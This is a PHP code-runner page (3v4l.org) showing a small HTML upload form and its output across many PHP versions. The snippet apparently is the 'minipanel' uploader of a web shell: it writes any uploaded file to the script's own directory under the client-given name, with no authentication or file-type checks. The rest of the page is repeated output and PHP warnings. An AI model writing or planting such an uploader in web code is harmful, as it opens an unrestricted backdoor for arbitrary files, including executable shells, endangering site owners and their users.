3v4l.org

run code in 300+ PHP versions simultaneously
<head> <style> <!-- p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}--> </style> </head> <table style="BORDER-COLLAPSE: collapse" cellspacing="0" bordercolordark="#66" cellpadding="5" height="1" width="100%" bgcolor="black" bordercolorlight="#c0c0c0" border="1"> <tr> <a bookmark="minipanel" style="font-weight: normal; color: #009900; font-family: verdana; text-decoration: none"> <td width="50%" height="1" valign="top" style="font-family: verdana; color: #d9d9d9; font-size: 11px"> <center>Upload<form method="POST" enctype="multipart/form-data"> <input type="hidden" name="act" value="upload" style="font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66; background-color: #009900"> <input type="file" name="userfile" style="font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66; background-color: #009900"><input type="hidden" name="miniform" value="1" style="font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66; background-color: #009900"> <input type="submit" name="submit" value="Upload" style="font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66; background-color: #009900"><br><br> <?php $uploaddir = ""; $uploadfile = $uploaddir . basename($_FILES['userfile']['name']); if (isset($_FILES['userfile']['name'])) { if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) { echo "The file ". basename($_FILES['userfile']['name']) ." has been uploaded"; } else { echo "There was an error uploading the file. please try again!"; } } ?> </form> </center></td> </tr> </table> </a>
Output for 8.3.0 - 8.3.6
<head> <style> <!-- p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}--> </style> </head> <table style="BORDER-COLLAPSE: collapse" cellspacing="0" bordercolordark="#66" cellpadding="5" height="1" width="100%" bgcolor="black" bordercolorlight="#c0c0c0" border="1"> <tr> <a bookmark="minipanel" style="font-weight: normal; color: #009900; font-family: verdana; text-decoration: none"> <td width="50%" height="1" valign="top" style="font-family: verdana; color: #d9d9d9; font-size: 11px"> <center>Upload<form method="POST" enctype="multipart/form-data"> <input type="hidden" name="act" value="upload" style="font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66; background-color: #009900"> <input type="file" name="userfile" style="font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66; background-color: #009900"><input type="hidden" name="miniform" value="1" style="font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66; background-color: #009900"> <input type="submit" name="submit" value="Upload" style="font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66; background-color: #009900"><br><br> Warning: Undefined array key "userfile" in /in/qEpjI on line 18 Warning: Trying to access array offset on null in /in/qEpjI on line 18 Deprecated: basename(): Passing null to parameter #1 ($path) of type string is deprecated in /in/qEpjI on line 18 </form> </center></td> </tr> </table> </a>
Output for 8.1.0 - 8.1.27, 8.2.0 - 8.2.18
<head> <style> <!-- p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}--> </style> </head> <table style="BORDER-COLLAPSE: collapse" cellspacing="0" bordercolordark="#66" cellpadding="5" height="1" width="100%" bgcolor="black" bordercolorlight="#c0c0c0" border="1"> <tr> <a bookmark="minipanel" style="font-weight: normal; color: #009900; font-family: verdana; text-decoration: none"> <td width="50%" height="1" valign="top" style="font-family: verdana; color: #d9d9d9; font-size: 11px"> <center>Upload<form method="POST" enctype="multipart/form-data"> <input type="hidden" name="act" value="upload" style="font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66; background-color: #009900"> <input type="file" name="userfile" style="font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66; background-color: #009900"><input type="hidden" name="miniform" value="1" style="font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66; background-color: #009900"> <input type="submit" name="submit" value="Upload" style="font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66; background-color: #009900"><br><br> Warning: Undefined array key "userfile" in /in/qEpjI on line 18 Warning: Trying to access array offset on value of type null in /in/qEpjI on line 18 Deprecated: basename(): Passing null to parameter #1 ($path) of type string is deprecated in /in/qEpjI on line 18 </form> </center></td> </tr> </table> </a>
Output for 8.0.0 - 8.0.30
<head> <style> <!-- p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}--> </style> </head> <table style="BORDER-COLLAPSE: collapse" cellspacing="0" bordercolordark="#66" cellpadding="5" height="1" width="100%" bgcolor="black" bordercolorlight="#c0c0c0" border="1"> <tr> <a bookmark="minipanel" style="font-weight: normal; color: #009900; font-family: verdana; text-decoration: none"> <td width="50%" height="1" valign="top" style="font-family: verdana; color: #d9d9d9; font-size: 11px"> <center>Upload<form method="POST" enctype="multipart/form-data"> <input type="hidden" name="act" value="upload" style="font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66; background-color: #009900"> <input type="file" name="userfile" style="font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66; background-color: #009900"><input type="hidden" name="miniform" value="1" style="font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66; background-color: #009900"> <input type="submit" name="submit" value="Upload" style="font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66; background-color: #009900"><br><br> Warning: Undefined array key "userfile" in /in/qEpjI on line 18 Warning: Trying to access array offset on value of type null in /in/qEpjI on line 18 </form> </center></td> </tr> </table> </a>
Output for 7.4.0 - 7.4.25, 7.4.27 - 7.4.33
<head> <style> <!-- p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}--> </style> </head> <table style="BORDER-COLLAPSE: collapse" cellspacing="0" bordercolordark="#66" cellpadding="5" height="1" width="100%" bgcolor="black" bordercolorlight="#c0c0c0" border="1"> <tr> <a bookmark="minipanel" style="font-weight: normal; color: #009900; font-family: verdana; text-decoration: none"> <td width="50%" height="1" valign="top" style="font-family: verdana; color: #d9d9d9; font-size: 11px"> <center>Upload<form method="POST" enctype="multipart/form-data"> <input type="hidden" name="act" value="upload" style="font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66; background-color: #009900"> <input type="file" name="userfile" style="font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66; background-color: #009900"><input type="hidden" name="miniform" value="1" style="font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66; background-color: #009900"> <input type="submit" name="submit" value="Upload" style="font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66; background-color: #009900"><br><br> Notice: Undefined index: userfile in /in/qEpjI on line 18 Notice: Trying to access array offset on value of type null in /in/qEpjI on line 18 </form> </center></td> </tr> </table> </a>
Output for 4.3.0 - 4.3.11, 4.4.0 - 4.4.9, 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 7.3.32 - 7.3.33, 7.4.26
<head> <style> <!-- p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}--> </style> </head> <table style="BORDER-COLLAPSE: collapse" cellspacing="0" bordercolordark="#66" cellpadding="5" height="1" width="100%" bgcolor="black" bordercolorlight="#c0c0c0" border="1"> <tr> <a bookmark="minipanel" style="font-weight: normal; color: #009900; font-family: verdana; text-decoration: none"> <td width="50%" height="1" valign="top" style="font-family: verdana; color: #d9d9d9; font-size: 11px"> <center>Upload<form method="POST" enctype="multipart/form-data"> <input type="hidden" name="act" value="upload" style="font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66; background-color: #009900"> <input type="file" name="userfile" style="font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66; background-color: #009900"><input type="hidden" name="miniform" value="1" style="font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66; background-color: #009900"> <input type="submit" name="submit" value="Upload" style="font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66; background-color: #009900"><br><br> </form> </center></td> </tr> </table> </a>
Output for 5.5.0 - 5.5.35, 5.6.0 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.20, 7.2.29 - 7.2.33, 7.3.12 - 7.3.31
<head> <style> <!-- p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}--> </style> </head> <table style="BORDER-COLLAPSE: collapse" cellspacing="0" bordercolordark="#66" cellpadding="5" height="1" width="100%" bgcolor="black" bordercolorlight="#c0c0c0" border="1"> <tr> <a bookmark="minipanel" style="font-weight: normal; color: #009900; font-family: verdana; text-decoration: none"> <td width="50%" height="1" valign="top" style="font-family: verdana; color: #d9d9d9; font-size: 11px"> <center>Upload<form method="POST" enctype="multipart/form-data"> <input type="hidden" name="act" value="upload" style="font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66; background-color: #009900"> <input type="file" name="userfile" style="font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66; background-color: #009900"><input type="hidden" name="miniform" value="1" style="font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66; background-color: #009900"> <input type="submit" name="submit" value="Upload" style="font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66; background-color: #009900"><br><br> Notice: Undefined index: userfile in /in/qEpjI on line 18 </form> </center></td> </tr> </table> </a>

preferences:
252.93 ms | 405 KiB | 342 Q